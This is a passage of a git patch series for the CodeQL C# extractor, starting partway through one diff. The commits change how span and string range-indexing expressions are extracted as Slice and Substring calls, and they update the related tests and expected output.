Slice.cs:19:22:19:30 | call to method Slice | Slice(int, int) | 1 | access to property Length - access to parameter b - access to parameter a | +| Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | 0 | 0 | +| Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | 1 | access to property Length | +| Slice.cs:16:22:16:29 | call to method Slice | Slice(int, int) | 0 | 5 | +| Slice.cs:16:22:16:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a - 5 | +| Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 1 | 6 | +| Slice.cs:18:22:18:28 | call to method Slice | Slice(int, int) | 0 | 7 | +| Slice.cs:18:22:18:28 | call to method Slice | Slice(int, int) | 1 | access to property Length - 7 | +| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 1 | access to property Length - 8 | +| Slice.cs:20:22:20:30 | call to method Slice | Slice(int, int) | 0 | access to parameter a | +| Slice.cs:20:22:20:30 | call to method Slice | Slice(int, int) | 1 | access to property Length - access to parameter b - access to parameter a | +| Slice.cs:21:22:21:27 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:21:22:21:27 | call to method Slice | Slice(int, int) | 1 | access to property Length | propertyCalls | Slice.cs:10:20:10:25 | access to property Length | Slice.cs:10:20:10:20 | access to local variable s | | Slice.cs:11:20:11:26 | access to property Length | Slice.cs:11:20:11:20 | access to local variable s | | Slice.cs:12:20:12:27 | access to property Length | Slice.cs:12:20:12:20 | access to local variable s | -| Slice.cs:17:22:17:28 | access to property Length | Slice.cs:17:22:17:23 | access to local variable sp | -| Slice.cs:18:22:18:29 | access to property Length | Slice.cs:18:22:18:23 | access to local variable sp | -| Slice.cs:19:22:19:30 | access to property Length | Slice.cs:19:22:19:23 | access to local variable sp | +| Slice.cs:13:20:13:24 | access to property Length | Slice.cs:13:20:13:20 | access to local variable s | +| Slice.cs:18:22:18:28 | access to property Length | Slice.cs:18:22:18:23 | access to local variable sp | +| Slice.cs:19:22:19:29 | access to property Length | Slice.cs:19:22:19:23 | access to local variable sp | +| Slice.cs:20:22:20:30 | access to property Length | Slice.cs:20:22:20:23 | access to local variable sp | +| Slice.cs:21:22:21:27 | access to property Length | Slice.cs:21:22:21:23 | access to local variable sp | From 330b4e7ebcce5601b9af666e3dcebb517a1f9eb2 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 3 Jun 2026 13:57:45 +0200 Subject: [PATCH 076/143] C#: Address other CoPilot review comments. --- .../Entities/Expressions/ElementAccess.cs | 7 ++++--- csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index f6f44799312..bc81b9254d4 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -103,9 +103,10 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// /// Determines whether the given method is a slice method, which is defined as a method with - /// the name "Slice" or "SubString" and two parameters. - /// The method symbol to check. - /// True if the method is a slice method, false otherwise. + /// the name "Slice" or "Substring" and two parameters. + /// + /// The method symbol to check. + /// True if the method is a slice method; false otherwise. private bool IsSliceWithRange(IMethodSymbol method, [NotNullWhen(true)] out IPropertySymbol? lengthPropertySymbol, [NotNullWhen(true)] out RangeExpressionSyntax? range) { range = null; diff --git a/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md b/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md index 72858accfa1..b5e81d9adb9 100644 --- a/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md +++ b/csharp/ql/lib/change-notes/2026-05-21-spanaccess-range.md @@ -1,4 +1,4 @@ --- category: minorAnalysis --- -* Improved extraction of span range-access expressions (for example, `a[0..3]`). These expressions are now extracted as span `Slice` calls. +* Improved extraction of range-access expressions on spans and strings (for example, `a[0..3]`). These expressions are now extracted as `Slice` (span) or `Substring` (string) calls. From d9be99c73d71532a2672b8751e4132572cd89452 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 4 Jun 2026 10:43:38 +0200 Subject: [PATCH 077/143] C#: Simplify the implementation to avoid introducing synthetic assignments. --- .../Entities/Expressions/ElementAccess.cs | 133 ++++++------------ 1 file changed, 41 insertions(+), 92 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index bc81b9254d4..e2519547dd0 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -32,51 +32,29 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions trapFile.expr_argument(right, 0); } - private Expression MakeSubtractionExpression(IExpressionParentEntity parent, int child) + private Expression MakeZeroFromEndExpression(IExpressionParentEntity parent, int child) { var info = new ExpressionInfo( Context, AnnotatedTypeSymbol.CreateNotAnnotated(Context.Compilation.GetSpecialType(SpecialType.System_Int32)), Location, - ExprKind.SUB, + ExprKind.INDEX, parent, child, isCompilerGenerated: true, null); - return new Expression(info); + var index = new Expression(info); + + MakeZeroLiteral(index, 0); + return index; } - private Expression MakeLengthPropertyCall(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IExpressionParentEntity parent, int child) + private Expression MakeZeroLiteral(IExpressionParentEntity parent, int child) { - var lengthInfo = new ExpressionInfo( - Context, - AnnotatedTypeSymbol.CreateNotAnnotated(Context.Compilation.GetSpecialType(SpecialType.System_Int32)), - Location, - ExprKind.PROPERTY_ACCESS, - parent, - child, - isCompilerGenerated: true, - null); - var length = new Expression(lengthInfo); - Create(Context, qualifier, length, -1); - - var lengthProp = Property.Create(Context, lengthPropertySymbol); - trapFile.expr_access(length, lengthProp); - return length; + return Literal.CreateGenerated(Context, parent, child, Context.Compilation.GetSpecialType(SpecialType.System_Int32), 0, Location); } - private Expression CreateFromIndexExpression(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IExpressionParentEntity parent, int child, PrefixUnaryExpressionSyntax index) - { - var sub = MakeSubtractionExpression(parent, child); - MakeLengthPropertyCall(trapFile, lengthPropertySymbol, sub, 0); - var info = new ExpressionNodeInfo(Context, index.Operand, sub, 1) - { - IsCompilerGenerated = true - }; - Factory.Create(info); - return sub; - } /// /// It is assumed that either the input is @@ -87,18 +65,16 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// The parent expression entity. /// The child index within the parent. /// An expression representing the endpoint of a range to be used in conjunction with a slice operation. - private Expression CreateFromRangeEndpoint(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, ExpressionSyntax syntax, IExpressionParentEntity parent, int child) + private Expression MakeFromRangeEndpoint(ExpressionSyntax syntax, IExpressionParentEntity parent, int child) { - if (syntax.Kind() == SyntaxKind.IndexExpression && syntax is PrefixUnaryExpressionSyntax index) - { - return CreateFromIndexExpression(trapFile, lengthPropertySymbol, parent, child, index); - } - var info = new ExpressionNodeInfo(Context, syntax, parent, child) { IsCompilerGenerated = true }; - return Factory.Create(info); + + return syntax.Kind() == SyntaxKind.IndexExpression + ? PrefixUnary.Create(info.SetKind(ExprKind.INDEX)) + : Factory.Create(info); } /// @@ -107,14 +83,9 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// /// The method symbol to check. /// True if the method is a slice method; false otherwise. - private bool IsSliceWithRange(IMethodSymbol method, [NotNullWhen(true)] out IPropertySymbol? lengthPropertySymbol, [NotNullWhen(true)] out RangeExpressionSyntax? range) + private bool IsSliceWithRange(IMethodSymbol method, [NotNullWhen(true)] out RangeExpressionSyntax? range) { range = null; - lengthPropertySymbol = method - .ContainingType - .GetMembers("Length") - .OfType() - .FirstOrDefault(); if (argumentList.Arguments.Count == 1) { @@ -123,63 +94,42 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions return (method.Name == "Slice" || method.Name == "Substring") && method.Parameters.Length == 2 - && lengthPropertySymbol is not null && range is not null; } /// - /// Populates a slice method call based on the given range and length property symbol. + /// Populates a slice method call based on the given range. + /// Roslyn translates indexer accesses with range expressions in the following way. + /// 1. s[a..b] -> s.Slice(a, b - a) + /// 2. s[..b] -> s.Slice(0, b) + /// 3. s[a..] -> s.Slice(a, s.Length - a) + /// 4. s[..] -> s.Slice(0, s.Length) + /// However, it is possible that both the qualifier or the index endpoints may contain method calls. + /// If we want to translate this accurately, we would need to introduce synthetic statements for qualifier and + /// the endpoints, which should then be used in the slice method call. + /// To avoid this, we translate as follows. + /// 1. s[a..b] -> s.Slice(a, b) + /// 2. s[..b] -> s.Slice(0, b) + /// 3. s[a..] -> s.Slice(a, ^0) + /// 4. s[..] -> s.Slice(0, ^0) + /// + /// Even though index expressions can't technically be used in this way, they signal that we + /// could perceive ^b as "length - b". /// /// The trap file to write to. - /// The length property symbol. /// The slice method symbol. /// The range expression syntax. - private void PopulateSlice(TextWriter trapFile, IPropertySymbol lengthPropertySymbol, IMethodSymbol slice, RangeExpressionSyntax range) + private void PopulateSlice(TextWriter trapFile, IMethodSymbol slice, RangeExpressionSyntax range) { - // 1. s[a..b] -> s.Slice(a, b - a) - // 2. s[..b] -> s.Slice(0, b) - // 3. s[a..] -> s.Slice(a, s.Length - a) - // 4. s[..] -> s.Slice(0, s.Length) - // Furthermore, note that uses of index expressions (e.g. s[2..^1]) within the range - // get translated to length - index, so we need to handle this as well. - switch (range.LeftOperand, range.RightOperand) - { - case (ExpressionSyntax lsyntax, ExpressionSyntax rsyntax): - { - var left = CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, lsyntax, this, 0); - var right = MakeSubtractionExpression(this, 1); + var left = range.LeftOperand is ExpressionSyntax lsyntax + ? MakeFromRangeEndpoint(lsyntax, this, 0) + : MakeZeroLiteral(this, 0); - CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, rsyntax, right, 0); - CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, lsyntax, right, 1); - SetExprArgument(trapFile, left, right); - break; - } - case (null, ExpressionSyntax rsyntax): - { - var left = Literal.CreateGenerated(Context, this, 0, Context.Compilation.GetSpecialType(SpecialType.System_Int32), 0, Location); - var right = CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, rsyntax, this, 1); - SetExprArgument(trapFile, left, right); - break; - } - case (ExpressionSyntax lsyntax, null): - { - - var left = CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, lsyntax, this, 0); - var right = MakeSubtractionExpression(this, 1); - MakeLengthPropertyCall(trapFile, lengthPropertySymbol, right, 0); - CreateFromRangeEndpoint(trapFile, lengthPropertySymbol, lsyntax, right, 1); - SetExprArgument(trapFile, left, right); - break; - } - case (null, null): - { - var left = Literal.CreateGenerated(Context, this, 0, Context.Compilation.GetSpecialType(SpecialType.System_Int32), 0, Location); - var right = MakeLengthPropertyCall(trapFile, lengthPropertySymbol, this, 1); - SetExprArgument(trapFile, left, right); - break; - } - } + var right = range.RightOperand is ExpressionSyntax rsyntax + ? MakeFromRangeEndpoint(rsyntax, this, 1) + : MakeZeroFromEndExpression(this, 1); + SetExprArgument(trapFile, left, right); trapFile.expr_call(this, Method.Create(Context, slice)); } @@ -198,13 +148,12 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions Create(Context, qualifier, this, -1); var target = GetTargetSymbol(); - if (target is IMethodSymbol method && IsSliceWithRange(method, out var lengthPropertySymbol, out var range)) + if (target is IMethodSymbol method && IsSliceWithRange(method, out var range)) { // When an indexer on a span or string is used in conjunction with a range expression, the compiler translates // this into a call to the "Slice" or "Substring" method. // In this case, we want to populate a slice/substring method call instead of an indexer access. - // E.g s[1..4] gets translated to s.Slice(1, 4 - 1) if s is a span. - PopulateSlice(trapFile, lengthPropertySymbol, method, range); + PopulateSlice(trapFile, method, range); return; } From 05d41c7f8d9d994f521e68f8b90c294630d73745 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 4 Jun 2026 10:44:06 +0200 Subject: [PATCH 078/143] C#: Update the test expected output. --- .../test/library-tests/spans/slice.expected | 30 +++++++------------ csharp/ql/test/library-tests/spans/slice.ql | 9 ++---- 2 files changed, 12 insertions(+), 27 deletions(-) diff --git a/csharp/ql/test/library-tests/spans/slice.expected b/csharp/ql/test/library-tests/spans/slice.expected index c60e4139764..475ea82adf6 100644 --- a/csharp/ql/test/library-tests/spans/slice.expected +++ b/csharp/ql/test/library-tests/spans/slice.expected @@ -1,34 +1,24 @@ -methodCalls | Slice.cs:8:20:8:26 | call to method Substring | Substring(int, int) | 0 | 1 | -| Slice.cs:8:20:8:26 | call to method Substring | Substring(int, int) | 1 | access to parameter a - 1 | +| Slice.cs:8:20:8:26 | call to method Substring | Substring(int, int) | 1 | access to parameter a | | Slice.cs:9:20:9:25 | call to method Substring | Substring(int, int) | 0 | 0 | | Slice.cs:9:20:9:25 | call to method Substring | Substring(int, int) | 1 | 2 | | Slice.cs:10:20:10:25 | call to method Substring | Substring(int, int) | 0 | 3 | -| Slice.cs:10:20:10:25 | call to method Substring | Substring(int, int) | 1 | access to property Length - 3 | +| Slice.cs:10:20:10:25 | call to method Substring | Substring(int, int) | 1 | ^0 | | Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | 0 | 0 | -| Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | 1 | access to property Length - 4 | +| Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | 1 | ^4 | | Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | 0 | access to parameter a | -| Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | 1 | access to property Length - access to parameter b - access to parameter a | +| Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | 1 | ^access to parameter b | | Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | 0 | 0 | -| Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | 1 | access to property Length | +| Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | 1 | ^0 | | Slice.cs:16:22:16:29 | call to method Slice | Slice(int, int) | 0 | 5 | -| Slice.cs:16:22:16:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a - 5 | +| Slice.cs:16:22:16:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a | | Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 0 | 0 | | Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 1 | 6 | | Slice.cs:18:22:18:28 | call to method Slice | Slice(int, int) | 0 | 7 | -| Slice.cs:18:22:18:28 | call to method Slice | Slice(int, int) | 1 | access to property Length - 7 | +| Slice.cs:18:22:18:28 | call to method Slice | Slice(int, int) | 1 | ^0 | | Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 1 | access to property Length - 8 | +| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 1 | ^8 | | Slice.cs:20:22:20:30 | call to method Slice | Slice(int, int) | 0 | access to parameter a | -| Slice.cs:20:22:20:30 | call to method Slice | Slice(int, int) | 1 | access to property Length - access to parameter b - access to parameter a | +| Slice.cs:20:22:20:30 | call to method Slice | Slice(int, int) | 1 | ^access to parameter b | | Slice.cs:21:22:21:27 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:21:22:21:27 | call to method Slice | Slice(int, int) | 1 | access to property Length | -propertyCalls -| Slice.cs:10:20:10:25 | access to property Length | Slice.cs:10:20:10:20 | access to local variable s | -| Slice.cs:11:20:11:26 | access to property Length | Slice.cs:11:20:11:20 | access to local variable s | -| Slice.cs:12:20:12:27 | access to property Length | Slice.cs:12:20:12:20 | access to local variable s | -| Slice.cs:13:20:13:24 | access to property Length | Slice.cs:13:20:13:20 | access to local variable s | -| Slice.cs:18:22:18:28 | access to property Length | Slice.cs:18:22:18:23 | access to local variable sp | -| Slice.cs:19:22:19:29 | access to property Length | Slice.cs:19:22:19:23 | access to local variable sp | -| Slice.cs:20:22:20:30 | access to property Length | Slice.cs:20:22:20:23 | access to local variable sp | -| Slice.cs:21:22:21:27 | access to property Length | Slice.cs:21:22:21:23 | access to local variable sp | +| Slice.cs:21:22:21:27 | call to method Slice | Slice(int, int) | 1 | ^0 | diff --git a/csharp/ql/test/library-tests/spans/slice.ql b/csharp/ql/test/library-tests/spans/slice.ql index 11efb1d824d..f9573e0cfab 100644 --- a/csharp/ql/test/library-tests/spans/slice.ql +++ b/csharp/ql/test/library-tests/spans/slice.ql @@ -1,12 +1,9 @@ import csharp private string printExpr(Expr e) { - e = - any(SubExpr sub | - result = printExpr(sub.getLeftOperand()) + " - " + printExpr(sub.getRightOperand()) - ) + e = any(IndexExpr index | result = "^" + index.getExpr().toString()) or - not e instanceof SubExpr and + not e instanceof IndexExpr and result = e.toString() } @@ -14,5 +11,3 @@ query predicate methodCalls(MethodCall mc, string m, int i, string arg) { m = mc.getTarget().toStringWithTypes() and arg = printExpr(mc.getArgument(i)) } - -query predicate propertyCalls(PropertyCall p, Expr qualifier) { qualifier = p.getQualifier() } From 6d13ff79522dc8a595da6ef8bb513d704624f14b Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Thu, 4 Jun 2026 11:41:53 +0200 Subject: [PATCH 079/143] C#: Address review comments. --- .../Entities/Expressions/ElementAccess.cs | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index e2519547dd0..a5a03ad3fec 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -1,6 +1,5 @@ using System.Diagnostics.CodeAnalysis; using System.IO; -using System.Linq; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; @@ -67,10 +66,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// An expression representing the endpoint of a range to be used in conjunction with a slice operation. private Expression MakeFromRangeEndpoint(ExpressionSyntax syntax, IExpressionParentEntity parent, int child) { - var info = new ExpressionNodeInfo(Context, syntax, parent, child) - { - IsCompilerGenerated = true - }; + var info = new ExpressionNodeInfo(Context, syntax, parent, child); return syntax.Kind() == SyntaxKind.IndexExpression ? PrefixUnary.Create(info.SetKind(ExprKind.INDEX)) From 563300475790cab1eae82ad7e9b7f4ac63a4b3b5 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 8 Jun 2026 12:38:57 +0200 Subject: [PATCH 080/143] C#: Add more tests. --- csharp/ql/test/library-tests/spans/Slice.cs | 6 +++ .../test/library-tests/spans/slice.expected | 39 +++++++++++++------ csharp/ql/test/library-tests/spans/slice.ql | 8 +++- 3 files changed, 39 insertions(+), 14 deletions(-) diff --git a/csharp/ql/test/library-tests/spans/Slice.cs b/csharp/ql/test/library-tests/spans/Slice.cs index 07d03c4d587..67f937906ae 100644 --- a/csharp/ql/test/library-tests/spans/Slice.cs +++ b/csharp/ql/test/library-tests/spans/Slice.cs @@ -12,6 +12,9 @@ public class C var sub5 = s[a..^b]; var sub6 = s[..]; + Range range = 1..a; + var sub7 = s[range]; + Span sp = null; var slice1 = sp[5..a]; var slice2 = sp[..6]; @@ -19,5 +22,8 @@ public class C var slice4 = sp[..^8]; var slice5 = sp[a..^b]; var slice6 = sp[..]; + + Range range2 = 1..a; + var slice7 = sp[range2]; } } diff --git a/csharp/ql/test/library-tests/spans/slice.expected b/csharp/ql/test/library-tests/spans/slice.expected index 475ea82adf6..77d3a1c4e86 100644 --- a/csharp/ql/test/library-tests/spans/slice.expected +++ b/csharp/ql/test/library-tests/spans/slice.expected @@ -1,3 +1,4 @@ +methodArguments | Slice.cs:8:20:8:26 | call to method Substring | Substring(int, int) | 0 | 1 | | Slice.cs:8:20:8:26 | call to method Substring | Substring(int, int) | 1 | access to parameter a | | Slice.cs:9:20:9:25 | call to method Substring | Substring(int, int) | 0 | 0 | @@ -10,15 +11,29 @@ | Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | 1 | ^access to parameter b | | Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | 0 | 0 | | Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | 1 | ^0 | -| Slice.cs:16:22:16:29 | call to method Slice | Slice(int, int) | 0 | 5 | -| Slice.cs:16:22:16:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a | -| Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:17:22:17:28 | call to method Slice | Slice(int, int) | 1 | 6 | -| Slice.cs:18:22:18:28 | call to method Slice | Slice(int, int) | 0 | 7 | -| Slice.cs:18:22:18:28 | call to method Slice | Slice(int, int) | 1 | ^0 | -| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 1 | ^8 | -| Slice.cs:20:22:20:30 | call to method Slice | Slice(int, int) | 0 | access to parameter a | -| Slice.cs:20:22:20:30 | call to method Slice | Slice(int, int) | 1 | ^access to parameter b | -| Slice.cs:21:22:21:27 | call to method Slice | Slice(int, int) | 0 | 0 | -| Slice.cs:21:22:21:27 | call to method Slice | Slice(int, int) | 1 | ^0 | +| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 0 | 5 | +| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | 1 | access to parameter a | +| Slice.cs:20:22:20:28 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:20:22:20:28 | call to method Slice | Slice(int, int) | 1 | 6 | +| Slice.cs:21:22:21:28 | call to method Slice | Slice(int, int) | 0 | 7 | +| Slice.cs:21:22:21:28 | call to method Slice | Slice(int, int) | 1 | ^0 | +| Slice.cs:22:22:22:29 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:22:22:22:29 | call to method Slice | Slice(int, int) | 1 | ^8 | +| Slice.cs:23:22:23:30 | call to method Slice | Slice(int, int) | 0 | access to parameter a | +| Slice.cs:23:22:23:30 | call to method Slice | Slice(int, int) | 1 | ^access to parameter b | +| Slice.cs:24:22:24:27 | call to method Slice | Slice(int, int) | 0 | 0 | +| Slice.cs:24:22:24:27 | call to method Slice | Slice(int, int) | 1 | ^0 | +methodCalls +| Slice.cs:3:14:3:14 | call to method | () | +| Slice.cs:8:20:8:26 | call to method Substring | Substring(int, int) | +| Slice.cs:9:20:9:25 | call to method Substring | Substring(int, int) | +| Slice.cs:10:20:10:25 | call to method Substring | Substring(int, int) | +| Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | +| Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | +| Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | +| Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | +| Slice.cs:20:22:20:28 | call to method Slice | Slice(int, int) | +| Slice.cs:21:22:21:28 | call to method Slice | Slice(int, int) | +| Slice.cs:22:22:22:29 | call to method Slice | Slice(int, int) | +| Slice.cs:23:22:23:30 | call to method Slice | Slice(int, int) | +| Slice.cs:24:22:24:27 | call to method Slice | Slice(int, int) | diff --git a/csharp/ql/test/library-tests/spans/slice.ql b/csharp/ql/test/library-tests/spans/slice.ql index f9573e0cfab..f0d1ffe4549 100644 --- a/csharp/ql/test/library-tests/spans/slice.ql +++ b/csharp/ql/test/library-tests/spans/slice.ql @@ -7,7 +7,11 @@ private string printExpr(Expr e) { result = e.toString() } -query predicate methodCalls(MethodCall mc, string m, int i, string arg) { - m = mc.getTarget().toStringWithTypes() and +query predicate methodArguments(MethodCall mc, string target, int i, string arg) { + target = mc.getTarget().toStringWithTypes() and arg = printExpr(mc.getArgument(i)) } + +query predicate methodCalls(MethodCall mc, string target) { + target = mc.getTarget().toStringWithTypes() +} From a646dfc4b901c64f91e91069c7becb981949d1a5 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 8 Jun 2026 12:49:04 +0200 Subject: [PATCH 081/143] C#: Extract call target when Range is not hardcoded as call argument. --- .../Entities/Expressions/ElementAccess.cs | 33 ++++++++++++------- 1 file changed, 21 insertions(+), 12 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index a5a03ad3fec..d7a0ada9a1d 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -79,7 +79,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// /// The method symbol to check. /// True if the method is a slice method; false otherwise. - private bool IsSliceWithRange(IMethodSymbol method, [NotNullWhen(true)] out RangeExpressionSyntax? range) + private bool IsSlice(IMethodSymbol method, out RangeExpressionSyntax? range) { range = null; @@ -89,8 +89,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions } return (method.Name == "Slice" || method.Name == "Substring") - && method.Parameters.Length == 2 - && range is not null; + && method.Parameters.Length == 2; } /// @@ -111,21 +110,31 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions /// /// Even though index expressions can't technically be used in this way, they signal that we /// could perceive ^b as "length - b". + /// + /// Call arguments are only populated when a range expression is directly available in + /// the list of arguments. + /// This means that cases like below are not handled. + /// System.Range x = 1..3; + /// s[x] /// /// The trap file to write to. /// The slice method symbol. /// The range expression syntax. - private void PopulateSlice(TextWriter trapFile, IMethodSymbol slice, RangeExpressionSyntax range) + private void PopulateSlice(TextWriter trapFile, IMethodSymbol slice, RangeExpressionSyntax? range) { - var left = range.LeftOperand is ExpressionSyntax lsyntax - ? MakeFromRangeEndpoint(lsyntax, this, 0) - : MakeZeroLiteral(this, 0); + if (range is not null) + { + // Populate the call arguments in case + var left = range.LeftOperand is ExpressionSyntax lsyntax + ? MakeFromRangeEndpoint(lsyntax, this, 0) + : MakeZeroLiteral(this, 0); - var right = range.RightOperand is ExpressionSyntax rsyntax - ? MakeFromRangeEndpoint(rsyntax, this, 1) - : MakeZeroFromEndExpression(this, 1); + var right = range.RightOperand is ExpressionSyntax rsyntax + ? MakeFromRangeEndpoint(rsyntax, this, 1) + : MakeZeroFromEndExpression(this, 1); - SetExprArgument(trapFile, left, right); + SetExprArgument(trapFile, left, right); + } trapFile.expr_call(this, Method.Create(Context, slice)); } @@ -144,7 +153,7 @@ namespace Semmle.Extraction.CSharp.Entities.Expressions Create(Context, qualifier, this, -1); var target = GetTargetSymbol(); - if (target is IMethodSymbol method && IsSliceWithRange(method, out var range)) + if (target is IMethodSymbol method && IsSlice(method, out var range)) { // When an indexer on a span or string is used in conjunction with a range expression, the compiler translates // this into a call to the "Slice" or "Substring" method. From 3f0af57c898290d66e981b5c9948f9e4d610fb19 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 8 Jun 2026 12:50:53 +0200 Subject: [PATCH 082/143] C#: Update test expected output. --- csharp/ql/test/library-tests/spans/slice.expected | 2 ++ 1 file changed, 2 insertions(+) diff --git a/csharp/ql/test/library-tests/spans/slice.expected b/csharp/ql/test/library-tests/spans/slice.expected index 77d3a1c4e86..4603dcfcac4 100644 --- a/csharp/ql/test/library-tests/spans/slice.expected +++ b/csharp/ql/test/library-tests/spans/slice.expected @@ -31,9 +31,11 @@ methodCalls | Slice.cs:11:20:11:26 | call to method Substring | Substring(int, int) | | Slice.cs:12:20:12:27 | call to method Substring | Substring(int, int) | | Slice.cs:13:20:13:24 | call to method Substring | Substring(int, int) | +| Slice.cs:16:20:16:27 | call to method Substring | Substring(int, int) | | Slice.cs:19:22:19:29 | call to method Slice | Slice(int, int) | | Slice.cs:20:22:20:28 | call to method Slice | Slice(int, int) | | Slice.cs:21:22:21:28 | call to method Slice | Slice(int, int) | | Slice.cs:22:22:22:29 | call to method Slice | Slice(int, int) | | Slice.cs:23:22:23:30 | call to method Slice | Slice(int, int) | | Slice.cs:24:22:24:27 | call to method Slice | Slice(int, int) | +| Slice.cs:27:22:27:31 | call to method Slice | Slice(int, int) | From 90d888de7f90c6baf2678be847d0c79dc61bfca3 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 8 Jun 2026 13:10:13 +0200 Subject: [PATCH 083/143] C#: Remove using. --- .../Entities/Expressions/ElementAccess.cs | 1 - 1 file changed, 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs index d7a0ada9a1d..4b8856f6397 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Expressions/ElementAccess.cs @@ -1,4 +1,3 @@ -using System.Diagnostics.CodeAnalysis; using System.IO; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; From eedef515f7c23b4edf73a0e9f58772d93429db31 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jaroslav=20Loba=C4=8Devski?= 